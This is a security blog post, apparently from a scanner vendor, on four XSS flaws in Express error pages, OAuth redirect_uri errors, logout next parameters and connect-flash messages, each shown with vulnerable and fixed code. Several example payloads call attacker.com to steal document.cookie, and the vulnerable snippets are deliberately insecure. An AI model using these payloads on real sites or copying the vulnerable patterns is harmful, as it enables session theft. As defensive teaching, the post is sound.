; fix: htmlEncode(req.path) or JSON-only error responses. XSS7-002: OAuth redirect_uri error page reflects the value as 'Invalid redirect URI: ${req.query.redirect_uri}' without encoding; fix: never reflect request parameters in HTML error pages. XSS7-003: open redirect via /auth/logout?next= with insufficient validation allows next=javascript:alert(1) which is reflected in a 'click here' anchor; fix: validate next is a path starting with /, reject javascript: URIs. XSS7-004: req.flash('error', req.body.email) stores user input, later rendered as HTML via req.flash('error')[0] without encoding; fix: encode flash content on render.", "author": { "@type": "Organization", "name": "SkillAudit", "url": "https://skillaudit.dev/" }, "publisher": { "@type": "Organization", "name": "SkillAudit", "logo": { "@type": "ImageObject", "url": "https://skillaudit.dev/assets/og.svg" } }, "datePublished": "2026-11-12", "dateModified": "2026-11-12", "mainEntityOfPage": { "@type": "WebPage", "@id": "https://skillaudit.dev/seo/claude-skill-xss7-reflected-xss-error-pages-redirect-parameters-mcp-skill-audit-dashboard-security" } }
← Blog

Claude MCP skill reflected XSS via error pages and redirect parameters in audit dashboard — SA-SKL-XSS7

Error pages and redirect flows are the most commonly overlooked XSS surfaces in web applications. Developers focus on sanitizing form inputs and API responses, but error handlers that render req.url or req.path unencoded, OAuth flows that reflect the redirect_uri parameter in rejection messages, and logout endpoints that forward the next query parameter into an anchor tag without validation are all classic reflected XSS entry points. SA-SKL-XSS7 covers four such patterns found in MCP skill audit dashboards: Express error handler URL reflection, OAuth redirect_uri error page reflection, open redirect chained to javascript: URI XSS, and req.flash() storing user input that is later rendered without HTML encoding.

By SkillAudit  |  12 Nov 2026
SA-SKL-XSS7 findings at a glance
CRITICALXSS7-001 — Express error handler renders req.url (or req.path) unencoded into the HTML error page — attacker links to /audit/<script>alert(document.cookie)</script>; path is decoded and injected into the error template; reflected XSS via URL path
CRITICALXSS7-002 — OAuth error page renders "Invalid redirect URI: " + req.query.redirect_uri as HTML — attacker sets redirect_uri=<img src=x onerror=fetch('//attacker.com/'+document.cookie)>; reflected XSS via OAuth parameter
HIGHXSS7-003 — Logout endpoint /auth/logout?next= reflects the next value in a "click here to continue" anchor — attacker sends next=javascript:eval(atob('...')); insufficient validation only checks for http:// prefix, not javascript: URI scheme
HIGHXSS7-004 — req.flash('error', req.body.email) stores raw user input in session; next render retrieves req.flash('error')[0] and injects it into the template without HTML encoding — stored XSS via flash message mechanism

XSS7-001 — Express error handler URL reflection

Express applications commonly register a catch-all error handler that renders a human-friendly error page, including the requested URL to help users understand what went wrong. When this URL is embedded in the HTML response without HTML encoding, an attacker constructs a URL containing an XSS payload in the path, query string, or fragment. The Express req.url property returns the raw URL including percent-decoded characters in many configurations. Even with percent-encoding, the browser decodes the URL before the page renders — a payload encoded as %3Cscript%3Ealert(1)%3C/script%3E displays as <script>alert(1)</script> in the error page template if interpolated without encoding.

// VULNERABLE — Express error handler
app.use((req, res) => {
  res.status(404).send(`
    <html>
      <body>
        <h1>404 Not Found</h1>
        <p>The page <code>${req.url}</code> was not found.</p>
      </body>
    </html>
  `);
});

// Attacker URL:
// https://skillaudit.dev/audit/<svg onload=fetch('//attacker.com/'+document.cookie)>

Exploitation note: Modern browsers and URL parsers vary in whether they permit literal <> characters in URL paths. Attackers use SVG-based payloads (<svg onload=...>), which are more reliably passed through URL encoding rules, or target query parameters (?page=<script>...</script>) where angle brackets are more consistently preserved. The fix applies regardless of encoding: HTML-encode all request data before embedding in HTML responses.

// FIXED — option 1: HTML encode the URL
function htmlEncode(str) {
  return String(str)
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

app.use((req, res) => {
  res.status(404).send(`
    <html>
      <body>
        <h1>404 Not Found</h1>
        <p>The page <code>${htmlEncode(req.path)}</code> was not found.</p>
      </body>
    </html>
  `);
});

// FIXED — option 2 (preferred): JSON-only error responses for API routes
app.use((req, res) => {
  res.status(404).json({ error: 'Not found' });
  // No HTML, no reflected request data
});

XSS7-002 — OAuth redirect_uri reflected in error page

OAuth authorization endpoints validate the redirect_uri parameter against a registered allowlist. When the URI is invalid, the server must display an error message — but many implementations reflect the submitted redirect_uri value back in the error page to help developers debug their integration. The error page is served over HTTPS to the browser and may share the same origin as the main application. Injecting HTML into the redirect_uri parameter results in reflected XSS on the authorization server's origin.

// VULNERABLE — OAuth authorization endpoint
app.get('/oauth/authorize', (req, res) => {
  const { client_id, redirect_uri, state } = req.query;
  if (!isRegisteredRedirectUri(client_id, redirect_uri)) {
    // Reflects the attacker-supplied redirect_uri value
    res.status(400).send(`
      <h1>Invalid Request</h1>
      <p>The redirect URI <strong>${redirect_uri}</strong> is not registered
         for client ${htmlEncode(client_id)}.</p>
    `);
    return;
  }
  // ... proceed with authorization
});

// Attacker URL:
// /oauth/authorize?client_id=legit&redirect_uri=<img+src=x+onerror=alert(document.cookie)>

Why this is high-impact: The OAuth authorization page typically runs on the same origin as the main application. XSS on the authorization page can steal session cookies for the resource server, capture the authorization code from the URL bar before redirect, or silently authorize a malicious OAuth application by clicking the approval button via JavaScript. The redirect_uri is provided by the attacker who crafts a phishing link; the user only needs to visit the authorization URL to trigger the payload.

// FIXED — never reflect request parameters in HTML error pages
app.get('/oauth/authorize', (req, res) => {
  const { client_id, redirect_uri } = req.query;
  if (!isRegisteredRedirectUri(client_id, redirect_uri)) {
    // Generic error — no request data reflected
    res.status(400).send(`
      <h1>Invalid Request</h1>
      <p>The redirect URI provided is not registered for this application.
         Please check your OAuth configuration.</p>
    `);
    return;
  }
});

XSS7-003 — Open redirect chained to javascript: URI XSS

Post-logout redirect functionality — "you've been signed out, click here to continue" — is a common UX pattern. The next query parameter specifies where the user should go after sign-out. Insufficient validation checks only for obviously dangerous values like absolute HTTP URLs to external domains, missing the javascript: URI scheme. Setting next=javascript:eval(atob('BASE64_PAYLOAD')) creates an anchor whose href executes JavaScript when clicked. This is not a one-click exploit for typical users but enables phishing via a trusted URL that appears to be on the application's own domain.

// VULNERABLE — logout redirect with weak validation
app.get('/auth/logout', (req, res) => {
  req.session.destroy();
  const next = req.query.next || '/';

  // Weak: only blocks http:// and https:// external URLs
  if (next.startsWith('http://') || next.startsWith('https://')) {
    return res.redirect('/');
  }

  res.send(`
    <p>You have been signed out.
    <a href="${next}">Click here to continue</a></p>
  `);
  // Attacker sends next=javascript:fetch('//attacker.com/?c='+document.cookie)
  // Rendered as: <a href="javascript:fetch(...">Click here to continue</a>
});

Protocol enumeration: Browsers support many URI schemes that execute JavaScript or cause unexpected behavior: javascript:, data:, vbscript: (IE legacy), and jAvAsCrIpT: (case variation). The safe validation approach is a positive check — accept only values that begin with / and do not begin with // (which is a protocol-relative URL). This prevents both external redirects and javascript: URIs in a single check.

// FIXED — strict next parameter validation
function isSafeRedirectPath(next) {
  // Must start with / (relative path)
  // Must NOT start with // (protocol-relative URL)
  // Must NOT contain javascript:, data:, etc.
  return typeof next === 'string' &&
    next.startsWith('/') &&
    !next.startsWith('//') &&
    !/^\/[a-z]+:/i.test(next);  // blocks /javascript:, /data:, etc.
}

app.get('/auth/logout', (req, res) => {
  req.session.destroy();
  const next = req.query.next;
  const redirectTo = isSafeRedirectPath(next) ? next : '/';
  res.redirect(302, redirectTo);
  // Redirect, not anchor — eliminates the XSS surface entirely
});

XSS7-004 — Flash message stored XSS via req.flash()

Connect-flash stores short messages in the session between requests — typically error messages after a failed form submission. A common pattern stores the user's submitted email in the flash so the form can be pre-populated on the next page load: req.flash('error', req.body.email). The template then renders this flash value as HTML: <p class="error"><%- flash.error %></p> using the unescaped output operator. The result is stored XSS where the payload persists across the redirect — it is not strictly "reflected" (not in the same response) but is still attacker-controlled data embedded in an HTML response without encoding.

// VULNERABLE — login controller stores user input in flash
app.post('/auth/login', async (req, res) => {
  const { email, password } = req.body;
  const user = await User.findOne({ email });
  if (!user || !await user.verifyPassword(password)) {
    req.flash('error', email);  // stores raw user input in session
    req.flash('message', 'Login failed. Please check your email and password.');
    return res.redirect('/auth/login');
  }
  // ...
});

// Template (EJS) — login.ejs:
// <% if (flash.error) { %>
//   <p class="error-email">Login failed for: <%- flash.error %></p>
//               <!-- ^^^  unescaped output = XSS -->
// <% } %>

// Attacker submits email: <img src=x onerror="document.location='//attacker.com/?c='+document.cookie">

Session-scoped persistence: Unlike URL-reflected XSS, this payload survives the redirect — it executes on the GET /auth/login page, not the POST. If the user has the login page open in multiple tabs, the XSS may fire in each tab as the flash is read. Additionally, flash storage in the session means the payload persists until the session expires or is cleared, even if the user never sees another login failure page.

// FIXED — option 1: HTML encode flash content in the template
// login.ejs:
// <% if (flash.error) { %>
//   <p class="error-email">Login failed for: <%=  flash.error %></p>
//               <!-- ^^^  escaped output — <%= vs <%- -->
// <% } %>

// FIXED — option 2 (preferred): don't store user input in flash at all
app.post('/auth/login', async (req, res) => {
  const { email, password } = req.body;
  const user = await User.findOne({ email });
  if (!user || !await user.verifyPassword(password)) {
    // Store a generic message, not the user's input
    req.flash('loginError', 'true');
    return res.redirect('/auth/login');
  }
  // ...
});

// Template: check for 'loginError' flag, render static message
// Never store or render user-supplied values from flash without encoding

Detection and remediation summary

Finding Severity Vector Fix
XSS7-001 CRITICAL req.url in error template htmlEncode(req.path) or JSON errors
XSS7-002 CRITICAL redirect_uri in OAuth error Generic error message, no parameter reflection
XSS7-003 HIGH next=javascript: in anchor Path-only validation + redirect instead of anchor
XSS7-004 HIGH req.flash(key, userInput) Escape flash on render; never store user input in flash

SkillAudit scans MCP skill audit dashboards for all four XSS7 patterns. Error handler routes that interpolate any req.* property directly into an HTML string trigger XSS7-001; OAuth routes that reflect query parameters in HTML error responses trigger XSS7-002; redirect endpoints with next or similar parameters that build anchor tags trigger XSS7-003; req.flash() calls that accept user-controlled values trigger XSS7-004. See also SA-SKL-XSS6 for stored XSS via markdown rendering and SA-SKL-AUTH10 for API key scope bypass vulnerabilities in MCP skill registries.